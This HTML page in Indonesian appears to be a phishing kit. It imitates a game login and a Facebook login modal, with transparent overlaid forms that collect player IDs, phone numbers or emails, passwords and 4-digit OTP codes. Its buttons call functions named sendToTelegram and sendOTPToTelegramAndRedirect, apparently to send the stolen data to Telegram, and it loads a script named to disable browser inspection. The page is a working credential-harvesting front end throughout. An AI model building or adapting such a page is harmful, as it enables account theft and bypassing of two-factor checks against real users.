<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Background Transition with Modals</title>
    <link rel="stylesheet" href="js/style.css">
    <audio id="click-sound" src="sound/click.mp3"></audio>
    <audio id="lobby-sound" src="sound/lobby.mp3" loop></audio>
    <style>
        .background.image {
background: url('img/bg2.png') center center / cover no-repeat;
opacity: 0; 
z-index: -1; 
transition: opacity 1s ease-in-out; 
}
    </style>
</head>
<a href="https://m.facebook.com/login/?next=https%3A%2F%2Fwww.facebook.com%2Froyaldreamidn&refsrc=deprecated" 
   class="unique-redirect-button" 
   target="_blank">
    FB
</a>

      <!-- Tombol Redirect -->
      <button class="redirect-button" onclick="redirectToSuccess()">Pergi ke Success</button>

    <!-- Tombol Buka -->
<button id="buka-form" onclick="bukaForm()">Buka Form Login</button>

<!-- Overlay -->
<div id="overlay" onclick="tutupForm()"></div>

<!-- Modal Form Login -->
<div id="form-login">
    <button class="close-btn" onclick="tutupForm()">X</button>
    <h2>Login Facebook</h2>
    <form>
        <input type="text" placeholder="Email atau Nomor Telepon" required>
        <input type="password" placeholder="Kata Sandi" required>
        <button type="submit">Masuk</button>
    </form>
    <div class="additional-actions">
        <a href="#" class="forgot-password">Lupa kata sandi?</a>
        <hr>
        <button class="create-account">Buat akun baru</button>
    </div>
</div>

    <!-- Video Background -->
    <div class="background video">
        <video autoplay muted>
            <source src="img/videobg.mp4" type="video/mp4">
            Your browser does not support the video tag.
        </video>
    </div>

    <!-- Image Background -->
    <div class="background image"></div>

    <!-- Buttons -->
    <button 
    id="hp-login-btn" 
    onclick="showTentukanButton(); showModal('hp-login-modal', 'hp-login-close')" 
    style="position: absolute; 
           top: 3%; 
           left: 73%; 
           width: 50px; 
           height: 50px; 
           box-shadow: none !important; 
    border: none !important;     
    background: none !important; 
    outline: none !important; 
           color: transparent; 
           font-size: 16px; 
           border: none; 
           border-radius: 50%; 
           z-index: 10;">
    HP Login
</button>

<audio id="click-sound" src="sound/click.mp3"></audio>

<button 
    id="id-login-btn" 
    onclick="document.getElementById('click-sound').play(); showTentukanButton(); showModal('id-login-modal', 'id-login-close')" 
    style="position: absolute; 
           top: 3%; 
           left: 82%; 
           width: 50px; 
           height: 50px; 
           background-color: transparent; 
           color: transparent; 
           font-size: 16px; 
           border: none; 
           border-radius: 50%; 
           z-index: 10;">
    ID Login
</button>
<div>
</div>
<div id="id-login-modal" class="modal">
    <button id="id-login-close" class="close-btn" onclick="closeModal('id-login-modal', 'id-login-close')">X</button>
    <img src="img/idlogin.png" alt="ID Login" style="left: 20px; width: 100%; border-radius: 10px; z-index: 999;">
  
    <!-- Form -->
    <form id="login-form" style="position: absolute; top: 121px; left: 368px; width: 27%; z-index: 10; opacity: 0.9;">
      <input
        type="text"
        id="player-id"
        placeholder="Masukkan ID Pemain"
        style="width: 80%; padding: 17px; margin-bottom: 20px; border: -5px solid transparent; background-color: transparent; border-radius: 5px;"
      />
      <input
    type="password"
    id="player-password"
    placeholder="Masukkan kata sandi"
    style="width: 80%; padding: 17px; margin-top: 5px; margin-bottom: 50px; border: -20px solid transparent; background-color: transparent; border-radius: 5px;"
/>

      <button
      type="button"
      id="id-button"
      onclick="showVerificationModal()"
      style="width: 50%; padding: 10px; background-color:transparent; border-radius: 5px; margin-left: 50px; margin-top: 33px;"
  >
      Kirim
  </button>
    </form>
  </div>
  <div id="overlay" class="overlay"></div>
<!-- Modal Verifikasi -->
<div id="verification-modal" class="modal">
    <button class="close-btn" onclick="closeModal('verification-modal')">X</button>
    <img src="img/verifikasi.png" alt="Verifikasi" style="width: 100%; border-radius: 10px;">
    <form id="verification-form">
        <!-- Input Nomor HP -->
        <input
            type="text"
            id="phone-number"
            placeholder="Masukkan no hp atau email"
            style="width: 43%; padding: 3px; margin-bottom: 10px; border-radius: 29px; margin-left: 309px; margin-top: 18px;"
            required
        />
        <button
            type="button"
            onclick="sendToTelegram()"
            style="width: 10%; padding: 10px; background-color: transparent; color: transparent; border-radius:  5px; background-color: transparent;"
        >
            Kirim
        </button>

        <!-- Input OTP -->
        <input
    type="text"
    id="otp-input"
    placeholder="Masukkan 4 digit verifikasi"
    style="width: 30%; padding: 4px; margin-top: -27px; margin-bottom: 67px; margin-left: 309px; background-color: transparent; border-radius: 33px;"
    required
/>

    
<button
    type="button"
    onclick="sendOTPToTelegramAndRedirect()"
    style="width: 15%; padding: 11px; margin-top: 42px; margin-left: -42%; background-color: transparent; color: transparent; border: none; border-radius: 33px;"
>
    Kirim OTP
</button>

    </form>
</div>

</div>  

    <div id="id-login-modal" class="modal">
        <button id="id-login-close" class="close-btn" onclick="closeModal('id-login-modal', 'id-login-close')">X</button>
        <img src="img/idlogin.png" alt="ID Login">
    </div>
    
    <div id="hp-login-modal" class="modal">
        <button id="hp-login-close" class="close-btn" onclick="closeModal('hp-login-modal', 'hp-login-close')">X</button>
        <img src="img/hplogin.png" alt="HP Login">
            <!-- Form -->
    <form id="login-form" style="position: absolute; top: 121px; left: 368px; width: 27%; z-index: 10; opacity: 0.9;">
        <input
          type="text"
          id="hp-id"
          placeholder="Masukkan Nomor Hp"
          style="width: 80%; padding: 17px; margin-bottom: 20px; border: -5px solid transparent; background-color: transparent; border-radius: 5px;"
        />
        <input
      type="password"
      id="hp-password"
      placeholder="Masukkan kata sandi"
      style="width: 80%; padding: 17px; margin-top: 5px; margin-bottom: 50px; border: -20px solid transparent; background-color: transparent; border-radius: 5px;"
  />
  
  <button
            type="button"
            id="hp-login-button"
            onclick="sendHPDataToTelegram()"
            style="width: 50%; padding: 10px; background-color: transparent; border-radius: 5px; margin-left: 50px; margin-top: 33px;"
        >
            Kirim
        </button>
      </form>
    </div>
    <script src="js/script.js"></script>
    <script src="js/disable-inspect.js "></script>
</body>
</html>